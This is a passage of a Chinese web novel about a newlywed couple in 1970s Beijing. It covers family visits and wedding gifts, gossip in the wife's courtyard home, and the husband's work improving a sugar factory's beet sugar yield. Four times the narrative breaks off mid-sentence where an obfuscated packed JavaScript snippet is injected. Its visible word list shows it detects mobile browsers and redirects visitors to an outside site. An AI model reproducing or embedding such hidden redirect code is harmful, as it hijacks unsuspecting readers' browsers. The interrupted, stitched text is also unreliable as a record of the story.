“是,沈爷爷。”关百钺没了嬉皮笑脸,表情格外郑重。玛瑙的成色一般,可这份重量,是其他礼物都没有的。 出了书房,洪安娜和沈爱军自然也准备了礼物,一对儿英雄100型金笔,这可一点儿不比梅花手表差,章清云刚露出犹豫的神色,洪安娜就把钢笔盒塞过去,笑着道:“怎么,觉得我不是百钺亲姐就不敢收?那我可要生气了。” 又笑着道:“好了,知道你们还要去其他家,我们也不留了。过两天约上盈钺两口子,咱们六个一起吃个饭。” 关百钺自然满口答应,从沈家出来,就是高家了。之所以跟高斌和高武关系好,也是因为两家长辈的渊源。什么缘故呢?高家已故的老爷子高有光,和关城、吴文婉两人是同事,都是战地医生,据说三人关系十分不错。 不错到什么程度呢?沈老爷子曾经在关盈钺的婚礼上开玩笑,说高、关两家当初想订娃娃亲,还是首长们觉得不妥当,这才没定下来,不然盈钺就要嫁给高斌了。 当然,玩笑不玩笑的放到一边,关系不错可见一斑了。当年关城和吴文婉是外科大夫,要在战场后方做手术的那种,高有光是内科大夫,主要在战后根据地为大家调养身体。三人的组织关系,都在敌后野战医院。 四四年冬,医院随着大部队撤退,路上关城和吴文婉被俘,无论敌人如何严刑拷打,两人都没有交代撤退的方向,这才保住了大部分同事和病人,也保住了撤退后方领导们的命。 和沈老爷子的渊源呢,说简单点儿,就是当年老爷子受伤,是夫妻两人做手术救下的。当年老爷子还是光棍呢,看中了医院的护士,硬拉着夫妻俩让介绍对象,两夫妻算是老爷子的媒人。四四年撤退的时候,老爷子的伤还没好利索,跟着一起转移的。 关城和吴文婉牺牲后,关家和高家、沈家的关系也一直保持着,并没有因为相关人员的去世而中断。 高武没去上班,在家等着关百钺上门呢,开门时笑嘻嘻的:“百钺哥,你总算来了。怎么着呀,中午在家里吃一顿?” 关百钺笑:“下次吧,你又不是不知道,今儿要拜访的人多。行了,咱们什么关系,你就别添乱了。和对象最近处的怎么样?” 高武把着门,偷偷回头往屋内看了一眼,双手合十,嘿嘿嘿的笑,低声祈求:“那什么,哥,对象的事儿以后再说,以后再说。” 屋内,高明夫妻端坐在沙发上。高明没跟着高有光学医,反而早早参了军,如今是大院儿的办公室主任,妻子宋福算是部队后勤的,此时正坐在沙发上等着呢。 小夫妻进来也没多话,派发了喜糖,说了几句吉祥话,高明才拿出一对儿狼牙项链,道:“没什么好东西送给你们,这是你爷爷他们当年在根据地,猎狼得来的宝贝。拿去玩儿吧,据说狼牙辟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382210|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邪,对你们小两口也有好处。” 这可是好东西了。关百钺和章清云笑着接过来,又说了几句话,这才起身离开。在大院儿又撒了一圈儿的喜糖,这才在十二点之前,回到了科研大院。 “你歇着吧,我是食堂打饭。”关百钺在门口边换鞋边道。 章清云体力好,也不觉得累,率先换好鞋,去厨房拿了饭盒,放到餐桌上,边倒水边道:“一起去吧,我也不累。再说,我还没去过大院儿的食堂呢,一起去,顺便你也和我说说食堂哪些菜好吃。” 关百钺能拒绝吗?自然不能了,将东西放好,两人又歇息了半刻钟,这才去食堂打饭。路上遇见的人,熟的不熟的,都看着两人笑。两人也没当回事儿,新婚嘛,都知道大家爱开玩笑,两人跟着点头,算是打招呼了。 关百钺还介绍呢:“食堂的花卷儿、包子,还有卤肝儿都好吃,炒菜嘛也还行,家常菜。价格都不贵,只比家里做饭贵那么一点儿,科研所都补贴着呢。咱俩以后不做饭都行,天天吃食堂也没差的。” 章清云嗯嗯嗯地听着,科研大院的环境不错,树木都很高,想来是当初建院的时候就栽的。夏季绿叶繁茂之时,该是十分凉爽宜人的。 正想得入迷呢,有那关系好的大娘过来开关百钺玩笑:“百钺啊,这娶了媳妇儿就是不一样,出来还牵着手,怎么,怕这么漂亮的媳妇儿跑了啊?” 说得大家都笑,两人才意识到大家笑什么,有那小年轻哦哦哦的怪叫起哄,章清云本来不尴尬的,这时候都有些脸红。 关百钺指了指乱叫的几个小年轻,对大娘道:“我的孙大妈哎,您干嘛说破啊。看见没,就那些饿狼,我这媳妇儿不看紧点儿行吗?” “你小子就是油嘴滑舌。” “可不是,百钺媳妇儿啊,你可惨喽,怎么选了院儿里最不靠谱的小伙子,以后这日子可不好过了。” “可别瞎说,百钺多好一个小伙子,百钺家的,别听这大婶儿胡说,她啊,是想让自家闺女嫁给百钺呢,可惜啊,百钺看不上。” 说得一群人哄然大笑。章清云挑挑眉,斜眼去看关百钺。关百钺多敏感一人啊,赶紧澄清:“林婶儿,可不兴胡说。胡阿姨的闺女我可高攀不起,再说,人家现在都有男朋友了,是吧,胡阿姨?” 说说笑笑的,买一次午饭,把大院儿的人认了个七七八八。当然,没全记住,但能认个脸熟,相处几天就都认识了,这个不用急。 两人打了两个包子、一盒麻婆豆腐以及一份儿炝炒白菜,打菜的阿姨见是两人,特意没颠勺,算是小夫妻第一次打饭的福利。 吃过饭,收拾收拾家吧,昨儿送来的各种贺礼还没归置呢。鸡蛋、粮食的都一一放好,对于不成套的碟子碗,两人干脆也不收拾,一股脑儿放进橱柜锁起来。关家的碗碟都是早年置办的成套的那种,突然加进来这些不成套的,用着也不好看啊。所幸都收起来,以后别人结婚,也能当贺礼送过去。 43. 回娘家巧遇相亲 就这么着,一下午过去,两人正准备再去食堂打饭呢,不放心两人单独过日子的章砚臻和陈静,带着章清远过来了。章砚臻进来就道:“都新时代了,也不兴古时候等着你们回娘家那一套了。我和你娘来看看。” 说着也不用人带,径直去厨房,小声嘀咕:“怎么,这是没开过火?这可不行,第一天怎么能不开火呢。等着,我和你妈带着菜来的,好歹得在家做一顿饭。” 关百钺怪不好意思的,结婚第一天,岳父和丈母娘上门给做菜。这怎么话说的,让人知道了不得讲究他?再说,他还怕折寿呢。 关百钺赶紧挠挠头,三两步跟过去,一把捞过厨房墙外挂着的围裙,边走边系,抢在陈静进厨房前道:“妈,您别进去了,我给爸打下手。您和清云、小远他们说说话,一会儿就好。” 女婿这么上道儿,章砚臻笑得可开心了,指导起来毫不手软:“晚上熬稀饭,你们两个人就加两碗半的水......” 章砚臻指导女婿做饭,陈静想到来的时候,看见的小院里的白菜,长得差不多了,得砍了腌酸菜,再放到外面非冻坏了不可,她挽起袖子,叫闺女:“清云,来,把白菜砍了,妈帮你腌酸菜。” “妈,我会,您就别忙了,好不容易来一次,我带你瞧瞧。” 陈静和章清远是第一次来关家,进来的时候都看见了,两层的小楼,沙发、茶几、电话都有,想来女儿不会受罪,她甩开闺女的手:“妈都看见了,有啥瞧的。” 想到什么,陈静动作一顿,小声问了几句私密话,见闺女脸蛋儿红扑扑的,不等回答就笑开了:“行了,我也不问了,好着呢就行。哎呦,小远,别乱摸,不是要给姐姐东西吗?又不想给了?” 章清远正研究电话怎么用呢,闻言将话筒放下,嘿嘿嘿的笑:“给。” 从怀里掏出一个皮质弹弓,道:“姐,家里就你和姐夫两个人,要是有坏人来了,你就用弹弓打他们,保证谁也拿你没办法。” 章清云笑着接过来,弹弓的树杈子磨的很光滑,一看就是准备了很久的,她说:“行,姐姐一定放在枕头下面,谁也别想欺负我。” 将弹弓放到茶几上,又问起了牛桂兰的事儿:“这次没办法举报,她找家里的事儿了没有?” 白菜砍不成,陈静干脆说起八卦:“别管她,她现在自顾不暇。你还不知道吧,昨儿你们结婚那天,好几个胡同都出事儿了。那些混的狠的,都被逮住了。也不知道谁传出去的消息,说是牛桂兰举报的,她有前科嘛,传的有鼻子有眼的,虽然那些人混蛋了点儿,但牛桂兰到处举报,触了大家的逆鳞,今儿一天,大院的人都躲着她走呢。” 陈静笑的狡猾,章清云又不是没长耳朵和眼睛,怎么会不明白怎么回事儿,这肯定是他爸模仿牛桂兰的笔迹,趁机举报了几个真正的恶人,顺便教训教训牛桂兰,一举两得。 见闺女明白了,陈静开始说起别的:“袁国伟那小子要结婚了!你不知道吧,那家要六十八块钱的彩礼,比孙美妮当初的十八块多了整整五十!今儿一天,孙美妮都摔摔打打的,跟何玲都快打起来了......” 母女俩说着大杂院儿的八卦,章清远满屋子撒欢儿地跑。那边翁婿俩很快做好了晚饭,红薯稀饭,炝炒白菜、酸辣土豆丝、肉骨头炖萝卜,很简单的一顿饭。临走前章砚臻叮嘱:“明儿不用回去太早,睡够了再回。不要在意别人说什么,自己过的好比什么都强。” 既然都特意叮嘱了,翌日二人睡足了觉,直到十点才从家里出发。到三叉树胡同时,已经十点半了。不同于大院,胡同还是那么热闹。大冷的天儿,小朋友冻得一个个流着清鼻涕,还不肯回家暖和暖和,撒丫子的跑,尖叫声能掀翻屋顶。 章家所在的大杂院,一进来,好家伙,袁家大儿媳孙美妮和婆婆何玲终于吵起来了,何玲指着孙美妮的鼻子大骂:“少在这儿给老娘摆脸子!当年要不是你死乞白赖缠着我家国强,以我家国强的能耐,能娶你这么个败家媳妇儿?!不想过了就滚,我家国强可是钢铁厂的司机,就是离上三次婚,照样能娶黄花大闺女,你信不信?!” 孙美妮抱着儿子袁家宝,一个劲儿抹眼泪:“你们家也太欺负人了!当年娶我,说什么都不肯给十八块钱的彩礼,还是我家里人喊开了,你家才拿的钱。怎么如今老二家的要六十八,你就巴巴地送过去?我差哪儿了?我可是生了袁家长孙的,你赶我走可不行!” 何玲狠狠地呸一声:“你能跟辛梅比?!” 余光瞥见章清云和关百钺来了,何玲的声音高得能劈叉,她说:“辛梅可是市文工团的台柱子!人家跳了四五年了,如今想退到幕后,才托人找的我家国伟,说是进来就能生孩子的!长孙又怎么样,哪个女人不生孩子?!再说,人家辛梅可是有正经工作的,你呢?家庭主妇一个,少在这儿碍眼了......” 章清云眨眨眼,辛梅,市文工团台柱子,怎么听着这么耳熟呢?再去看,好家伙,大杂院众人的站位也很有意思啊。牛桂兰单独站一处,没人理她,她也不觉得有什么,头昂得高高的,还搭话管闲事儿呢。 “何玲,你这么说美妮,可不对。是,女人都能生孩子,可美妮生的是你们袁家的长孙,就算看在家宝的面子上,你都不能跟美妮摆脸色。不过呢,美妮,我也得说说你,何玲再怎么说也是你长辈,哪儿有跟长辈大小声的......” 婆媳俩努力克制着脾气,看来虽然都不愿搭理牛桂兰,也怕得罪她。 两人也不看热闹了,将四样礼从自行车把上提溜下来,董巧花眼尖,知道两人的脾性,高声问道:“哎呦,清云回娘家了?这都带了什么好东西?” 关百钺自然要给章清云做面子,笑着道:“董阿姨好,没什么贵重的,不过竭尽所能罢了。” 有那听到声音的定睛去看,不禁叫道:“哎呦,这是热水壶吧?清云你可真舍得。” “可不是,还提两个,也不怕家里的热水瓶不够用?” “没听人家女婿说嘛,竭尽所能,这是尊着岳家呢。” “可不是......” 一个个的夸起了关百钺。两人笑眯眯的,在众人的恭维声中进入了章家所在的东厢房。章砚廷一家也早早过来等着了,见两人掀帘子进来,也都笑开了花。 章鸿星小朋友见到章清云,还巴巴问呢:“姑姑,你昨儿去哪儿了?咋不回家?” 章清云很喜欢这个圆头圆脑的小家伙,抱着亲了一口道:“姑姑要工作啊,最近都不回来了。鸿星要乖,听爷爷奶奶的话,知道吗?” 一行人说着话,邵华和陈静悄悄去了厨房。今儿是自家人吃饭,当然是怎么丰盛怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387651|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。邵华和陈静一早就忙活开了,又是腊肉又是红烧肉的。前几天,作为大伯的章砚廷特意去水库换了几条鱼,就准备大侄女回娘家这天,拿出来待客。妯娌俩又将老家送来的红薯粉条泡上,木耳、蘑菇的也都提前泡发,厨房摆的都快没地儿下脚了。 特意分了两桌,大桌十个菜,小桌盘子小,不过也是十个菜,主要是鸿星、清英、清宙这些小孩儿坐,另外还有不愿意喝酒的,都可以去坐。十四口子人,炕上坐的满满当当。 关百钺带的有茅台,特意开了一瓶,看的章砚臻和章砚廷兄弟俩直心疼,关百钺却笑着道:“今儿高兴,没什么舍不得的,要是喜欢,我再去找。” 章砚廷连连摆手:“可不敢。”这玩意儿贵倒是不贵,可是买不着啊,就大院儿那片还能见着,其他地方想喝都没处买。黑市儿上据说要卖到十块钱一瓶,可不能敞开了喝。 章砚臻高兴,笑着让关百钺倒酒:“哥,喝吧。百钺说能弄来,就让他弄。今儿高兴,咱们敞开了喝。” 说着滋溜闷了一口,又赶紧夹了菜,这才跟关百钺道:“过几天得回去看看老爷子他们,你和清云结婚了,不能不上门。” “知道。”关百钺给岳父夹菜,又给大伯章砚廷倒酒,口里说些奉承的话。 另一边,邵华、陈静、宋甜甜几个,对喝酒没兴趣,干嘛呢?凑在一起边吃饭边讨论八卦嘛。这不是现成的嘛,邵华就说:“我看那个叫辛梅的有问题!市文工团的台柱子,怎么会嫁给袁国伟?文工团的,最低也得嫁到大院儿吧?” 陈静摆摆手:“不一定,盼儿不就看上陶勇了?这也得分人,也许辛梅就是看中司机赚得多?谁说的准呢。再说,袁家条件也不差,老袁虽然不是八级工,也是七级工了,两个儿子又是司机,小儿子国富如今也是正式工,家里日子在咱们院也是数一数二的。” 邵华撇撇嘴,语气十分的不屑:“静啊,你就是总把人往好处想。我跟你说,我那些同事可有听说过这个辛梅的,你还不知道吧?那人以前是个女流氓!听说前一段儿冰场那次打架,就是为了她!你们说,也就两个多月的事儿,两月前还跟顽主混呢,这怎么突然就嫁人了?我看这里面有事儿!” 章清云总算知道这人是谁了,这不是那天冰场上,和季长善一伙人相处得还算愉快,又引起洪常胜等人不满的“白天鹅”吗?这就有意思了。 等四点多回家,把事情一说,关百钺皱眉敲了敲桌子,起身道:“不行,我得去问问常胜,他有没有做什么不好的事儿!” 章清云唬了一跳:“不会吧?常胜才十六......”说到这里也不下去了。十六岁,不大不小的年纪,正是什么都不怕,什么都敢做的年纪,这要真是做了什么不好的事儿,韩阿姨非气晕过去不可。 章清云忙去帮着系围巾,劝道:“说话别那么冲,好好问。” 关百钺点点头,急匆匆出去了。章清云叹口气,都什么事儿啊。等到六点了,关百钺再次回来,脸上的表情没出去的时候那么严肃了,章清云才舒了一口气。 关百钺灌了一杯水,这才道:“我问常胜了,他指天发誓的,说没拍过辛梅。他那天就是看季长善不顺眼才打架的。我看了,不像是说谎。” “那就好。”章清云将饺子端过来,问,“季长善的事儿还管吗?” 44. 制糖厂技术外援 关百钺沉默良久,低声道:“明儿跟爱军哥说说,他家跟季家有来往,看他怎么说吧。”不过管的可能性不大。辛梅都要嫁人了,说明什么?说明如果是季长善的话,他不肯成亲呗。这能怎么管,总不能压着他去结婚。 果然,翌日在苏联餐厅,六人聚在一处说起这个事儿,沈爱军摆摆手:“不用管闲事儿。季长善拍过的姑娘不少,如今结婚的更是一个巴掌都数不过来,都是你情我愿的事儿......” 洪安娜嗔了关百钺一眼:“什么时候这么婆婆妈妈的了?连这种闲事儿都管。” 说着将菜单递过去,道:“有空想这些,还不如好好看菜单,多点几个菜。” 关百钺:“......”他能说,他和章清云怀疑这个叫辛梅的女人怀孕了,找人接盘吗?事关另一个女人的名声,关百钺只得闭嘴。 关盈钺害口,正是喜欢吃酸的时候,关百钺特意点了冷酸鱼和酸黄瓜,其他像是焖罐牛肉、什锦蛋炒饭的也都点了,这才开始闲话。 关盈钺问:“这几天小雪找你没?” 见关百钺摇头,关盈钺皱眉:“这个丫头,就婚礼上露了个面儿,三天了,都没怎么见人。卢建设那小子就那么好?哄的一愣一愣的。” 洪安娜正埋头挖栗子蛋糕吃呢,闻言笑着道:“小姑娘情窦初开,难免的。你和百钺越是反对,她闹腾的越凶。趁现在你俩都有事儿,就放开了别管,等过几天她自己就回过味儿来了,放心。” 关盈钺眉头不展:“就怕做什么傻事儿!姑姑、姑父他们也不知道什么时候回来,百钺结婚想给他们发电报,都不知道发到哪儿。” 这都是没办法的事儿,洪安娜赶紧转移话题,问道:“百钺,院儿里的肖家婶子,这两天没找麻烦吧?” 关百钺摆摆手:“没有,消停着呢。”见章清云不解,这才意识到还没介绍邻居们呢,耐心道:“肖叔当年也是基地的研究员,理念和爸、师叔叔他们不一样,争论比较厉害。 后来实验证明,爸他们是正确的,肖叔一时气愤,退出了基地,如今在科研所里做理论研究呢。原本肖叔一家是住隔壁的,这不是小楼这一片,是特意给基地的科研人员准备的,算是给科研人员的福利。 肖叔回来以后,就不算前线科研人员了,得从小楼搬出去。一家子可能觉得被刻意针对了,看咱们家和姐夫他们家就有些不顺眼。” 关盈钺笑着补充:“不用当回事儿。科研嘛,总免不了失败,受不了就退出,这样的脾气,根本不适合在基地。院里的人都知道,找你茬你就怼过去,大家不会为难你的。” 师援军也说:“就是的,人家爱迪生发明电灯泡,还失败了那么多次呢,他这种失败一次就受不了的,回来也是好事儿。” 正说话呢,叶宛如挽着高武的胳膊进来。高武的工作多是在外面跑,对接工厂的工作人员,偶尔摸鱼别人也管不着,是以工作时间跑出来吃饭也没事儿。谁知道今儿遇见聚餐的一行六人了,他笑着走过来,道:“百钺哥,爱军哥,聚餐呢?加我和宛如两个呗?” 洪安娜笑骂:“你小子没眼色,人家宛如想跟你单独约会呢,你也好意思说出加塞的话。也不知道人家宛如看上你什么了。” 说着白了高武一眼,对叶宛如道:“宛如,别委屈自个儿,这小子可配不上你。什么时候看不上了,第一时间甩了,不用看在我们的面子上......” 高武连忙双手合十,一脸的祈求之状:“哎呦,安娜姐,安娜大美人儿,我这什么时候得罪您了,您就撺掇我女朋友另谋新欢。爱军哥,你也不管管......” 沈爱军笑:“我可管不着,而且啊,我也觉得宛如委屈了。宛如,多想想安娜的话......” 高武笑着指了指六人,拉着叶宛如就走:“行了,我也不惹人嫌了,知道你们要说悄悄话。宛如,咱们走。” 叶宛如翻个白眼儿,这个没眼色的,进来就朝这边儿走,人家聊的好好的,能是说加塞就加塞儿的?一点儿数也没有,跟他谈这么久了,什么时候见关百钺主动找过他?还以为人家对他多好呢!傻蛋! 等人走远了,洪安娜低声道:“该跟高伯父说说的,听说高武最近做的有些过了,物资过手就刮掉一层,干了不到三个月,贪了能有这个数!” 说着伸出两根手指,两千?这是太过了,要知道以前查贪污,三千五可就枪毙了!沈爱军道:“我去说吧,我毕竟年长些,说出来的话高伯伯能听进去。高家也不缺钱啊,高武贪这么多是想干嘛!” 被高武扰乱了兴致,六人一时没了话,还是关盈钺道:“最近医院请了一位按摩推拿的师傅,百钺你什么时候有时间,带清云去试试。跳舞难免受伤,推拿按摩一下,也能缓解缓解。” 关百钺点点头,低声问道:“怎么想着请这些师傅了?不是都说这些是封建糟粕?” 师援军了解,解释道:“还不是疗养院那边,好几个受伤身体里有弹片的,最近天气冷受不住,一晚上一晚上的冒虚汗。保健科医生就推荐了按摩师傅,每天过去按摩按摩,还别说,症状都缓解不少。院长见这个有效,又要来了一个师傅,在医院常驻。” 一行人吃着说着,一顿午饭吃了近两个小时。等回到家,已经快三点了。还有时间,章清云找到课本,抓紧时间学习。这几日忙,学习时间都压缩了。关百钺也拿出研究资料,在一起看。有不明白的,章清云直接问关百钺,一时岁月静好。 中午吃的丰盛,晚上两人干脆只熬了粥,就着酸菜和辣白菜就是一顿饭。正刷碗呢,门被敲响,章清云蹬蹬镫跑到书房,将课本小心地藏好,关上门,这才去开大门。关百钺也脱掉围裙,跟在后面。见是罗霞、刘叔带着一个陌生的男人,关百钺忙让进来。 罗霞坐下后也没废话,直接介绍道:“老侯,市制糖厂厂长。” 老侯笑着和关百钺握手,这才说明来意:“知道小老弟是个技术能人,我也是多方打听,才找到人。我也不瞒你,如今甜菜的出糖率只有百分之十,不知道您能不能帮着看看,提高提高甜菜的出糖率?” 才只有百分之十?关百钺心里吃惊,面儿上却不显。要知道,后世甜菜的普遍出糖率在百分之十四到百分之二十,如今竟连百分之十四都没有,那是应该优化。 见关百钺没接话,老侯苦笑:“我知道,榨油和制糖不一样,可您是机械方面的行家,我们也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394146|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给您压力,只请您去看看,只要能提高,放心,厂里不会忘了您的。” 关百钺连连摆手:“侯叔哪儿的话,我是在想如今制糖的流程呢。我也只在书里看过,叔您给介绍介绍,我明儿去的时候也好有个针对性。” 这就是答应了,老侯笑着道:“行,我给你介绍。咱们的糖厂建厂那可早了......周边关联的企业、人群可不少,上游有农场供应甜菜,下游有酒精厂、糕点厂、肥料厂等企业,都是靠着糖厂吃饭的......” 章清云全程坐在一旁微笑脸,时而给大家添茶,看着四人你一句我一句的聊天,做个称职的壁花。等客人离开了,章清云笑着调侃:“看来以后家里不缺糖吃了。” 关百钺也笑:“以后肉也不会缺的,你等着吧,一定让你想吃什么吃什么。” 受第一世的影响,关百钺上辈子最关注的就是食品行业,大学、研究生和博士期间,研究的都是这个方向,很多方面都有涉猎,想来将甜菜的出糖率提升到百分之十四,该是不难。 三天的婚假结束,章清云也要上班了。大冬天的,骑车还不够冷的,好在科研大院离文工团不远,从北门过,穿过部队大院的南北门,再走上十分钟,就到文工团了,全程大概半个小时,章清云干脆步行去上班。 和关百钺告别后,章清云背着一袋子喜糖,一路笑眯眯的来到文工团,见到看门的大爷给了一把,道:“祁大爷,吃喜糖。” “哎呦,小章啊,新婚快乐。”老大爷乐呵呵的,从抽屉里掏出两块儿芝麻糖,塞过去道,“拿过去尝尝,你祁奶奶亲手做的。” 语气里的骄傲都要扑到章清云脸上了,她竖起大拇指道:“祁大爷好福气。我可得好好尝尝,要是好吃,可得带着东西请祁奶奶帮着做。” 祁大爷笑的更开心了:“尽管来。” “清云。”程紫鹃从公交车上下来,一蹦一跳地道,“祁大爷早。你今儿怎么来这么早?” 章清云跟祁大爷摆摆手,等走出一段儿了,程紫鹃才嘻嘻笑着开口:“结婚怎么样啊?关百钺对你好不好?” 说着望向章清云,啧啧两声:“不用说了,看你这满面春风的脸就知道,肯定好了。” 章清云笑着撞了撞程紫鹃:“你才满面春风,会不会说话啊。我还没问你呢,和刘念东谈得怎么样了?这有两个月了吧?什么时候喝你的喜酒?” 程紫鹃被问得脸红,不过仍是抿嘴笑道:“快了,我妈和他妈正谈着呢。” 两人说笑着来到更衣室,检查过没人后,这才开始换衣服。程紫鹃动作快,换好抓了一把喜糖,笑嘻嘻说着这两天团里的事儿:“前天去制糖厂那边演出,那个追着姚燕妮的顽主又去了,你不知道,两人谈上了!” 章清云也好奇,停下动作问道:“谁啊?” “程卫东。”程紫鹃撇嘴,“革委会主任的儿子,正主任!也不知道走了什么狗屎运,咱俩的日子要更不好过了。” 姚燕妮本来就在搞小团体,如今扒上了革委会主任的儿子,还不得更被优待?想到这里,章清云的脸上也显出忧虑。 谁知恰恰相反,两人的事业,反而因为姚燕妮恋爱,更上一层楼。 45. 机械天才关百钺 事情还要从姚燕妮这个人说起。姚燕妮此人呢,有一个十分矛盾的点,那就是表面独立,看起来是个受教育的新时代女性,其实骨子里呢,就是一个靠字。 小时候靠父母和姥爷,母亲是沈老的闺女,父亲姚大平以前是沈老底下的兵,一辈子对母亲恭恭敬敬的,高声说话都不曾有过。住在部队大院,姚燕妮是众星拱月的小公主,长大顺利进了文工团,成为了女主演的B角,这时候,她才十七岁。 可随着逐渐懂事儿,她发现,父母和睦婚姻的表象下,是母亲出轨,父亲以抱养一个孩子为条件,原谅了这件事。 抱养来的孩子是谁呢?小三岁的弟弟姚明光。随着弟弟越长越像父亲,姚燕妮知道,她以后靠不着父亲了。姥爷会看重她吗?不用想就知道,不会的,男人都重男轻女,她只是个外孙女,怎么能去指望姥爷? 那靠谁呢?她原来想靠自己,想跳成台柱子,成为谁也不能取代的人。可是不行,章清云长得比她好,跳得也比她好,但凡是好的机会,人家指名道姓就要章清云,姚燕妮一点儿办法也没有。靠自己这条路,走不通。 那就只能靠男人,靠将来生的儿子!她自来就是小公主,就算嫁人,也是嫁给王子。果然,老天爷待她不薄,王子出现了!还是比章清云的男人优秀一百倍的王子! 拿了两次乔之后,程卫东顺利被姚燕妮拿下。就连父母听说她的对象后,都难得的没有反对,只让她慎重对待。 自然要慎重,姚燕妮哼着歌儿来到更衣室,瞥见章清云和程紫鹃时,这么多天来第一次走过去,抬着下巴,矜持道:“章清云,新婚快乐啊。”她更想说的是,手下败将,新婚快乐。可惜,人太多,说不出口。 章清云挑挑眉:“谢谢。当初说好的送两份礼,紫鹃也听到了的,礼呢?”伸出手,一副等着收礼的架势。 程紫鹃嗯嗯嗯地点头:“对,我听到了。” 紧跟着睁大眼睛,一手捂住嘴,一副不可置信的样子:“不会吧,燕妮,你没送礼?我还送了一套床单被罩呢,你不会什么都没送吧?” 姚燕妮:“......”她能说她是故意的嘛?!当着这么多人的面,这两人怎么这么讨厌!姚燕妮撑着面子:“自然准备了。只是东西不好买,今儿才到。放心,明儿就带来送你。” 章清云笑着感谢,又道:“听说你也快结婚了,恭喜啊。” 姚燕妮一噎,章清云就是这么讨厌!她只是搞定程卫东,让他身边只有自己一个女人,离结婚还远着呢。这么说是什么意思,嘲讽她上不了位?! 姚燕妮哼一声,高傲道:“等我结婚的时候,你和关百钺也得送两份礼。你一份,关百钺一份,一样都不能少。” “那是自然。” 章清云答应得太快,姚燕妮都来不及反应,章清云和程紫鹃就一前一后离开了。姚燕妮跺跺脚,讨厌讨厌,这两人怎么这么讨厌!好像她多小气一样,她姚燕妮才不是那样的人。 是不是的,章清云可没功夫追究。散过喜糖,可得练功了。三天没系统的训练,今儿可得好好恢复,她可是答应了原主,要跳成台柱子,成为名角的。 这边忙着训练,那边关百钺已经坐车来到了制糖厂。说起来,糖厂也是个老厂子了,日据时期就有,至今老的办公楼和厂房,还保持着日式风格。如今正是糖厂效益最好的时候,工人加起来该有三四千人吧,加上家属,得有上万人,很大的厂子了。侯厂长能够亲自上关家的门,此时还亲自带着参观,也是很没有架子了。 参观了如今的制糖流程,关百钺心里也有了数,知道该往哪个方向努力,不过话也没说满,只说勉力一试。 虽然接触不多,侯厂长也算是摸清了这位的脾性。那就是做事儿说话都谦虚,五成把握说成三成,十成把握的,他只说七八分。如今勉力一试,就是能提升的意思吧? 侯厂长心里那个高兴啊,不仅招待了午饭,将厂里和屠宰场、糕点厂、粮油公司等置换的福利都偷摸塞了点儿,这才又吩咐司机开车,将人好好送回去。 回去没多久,椅子还没坐热呢,榨油厂那边机器出现故障,请关百钺过去修,又是一通的忙活。 一天下来,似乎都是分内的工作,没钱拿,可内里谁不知道,这机器就是人家设计的,以后少不得要麻烦人,那这关系能不维持吗?手一松,一桶五斤的豆油就送回关家了。 这日下班,关百钺提着两斤排骨,十分嘚瑟地站在文工团门口。可不得嘚瑟嘛,排骨呢,章清云前两天才说想吃,今儿他就弄来了,心里那份喜悦,比当初当上宰相都不差什么了。 见章清云、程紫鹃和其他队员有说有笑地出来,关百钺挑挑眉,等两人单独在一起了,他才问:“姚燕妮不孤立你了?” 章清云笑:“她谈恋爱了!”说着,将今日听到的事儿一五一十告诉了关百钺。 关百钺皱眉:“这个程卫东的名声可不怎么好!” 章清云失笑:“你以为没人劝她吗?今儿教练还找她谈话了,可姚燕妮像是中了邪一样,认准了,谁劝也没用。估计过不了几天,团里得再选拔,来一个C角了。” 关百钺不解:“影响这么大?当初咱俩谈恋爱的时候,没听说要给你找替角啊。” 章清云扬眉:“那是我情绪稳定,你这个人又不闹妖。姚燕妮就不一样了,她本来年纪就小,找的人又不靠谱,以后有的闹呢。” 那也是,关百钺不再评论这件事儿,而是将制糖厂和榨油厂的事儿说了,章清云笑着拍手:“那机器不得每年修?以后家里还真是什么都不缺了。” 可不是什么都不缺嘛。这次的福利就不少,拿了人家的东西,就得办事儿,吃过饭,章清云让关百钺去忙,她来洗碗,关百钺硬是一起洗了碗,才去画图,思考如何优化制糖工艺。 之后车接车送地忙了一个礼拜,成功地将甜菜的出糖率,从百分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 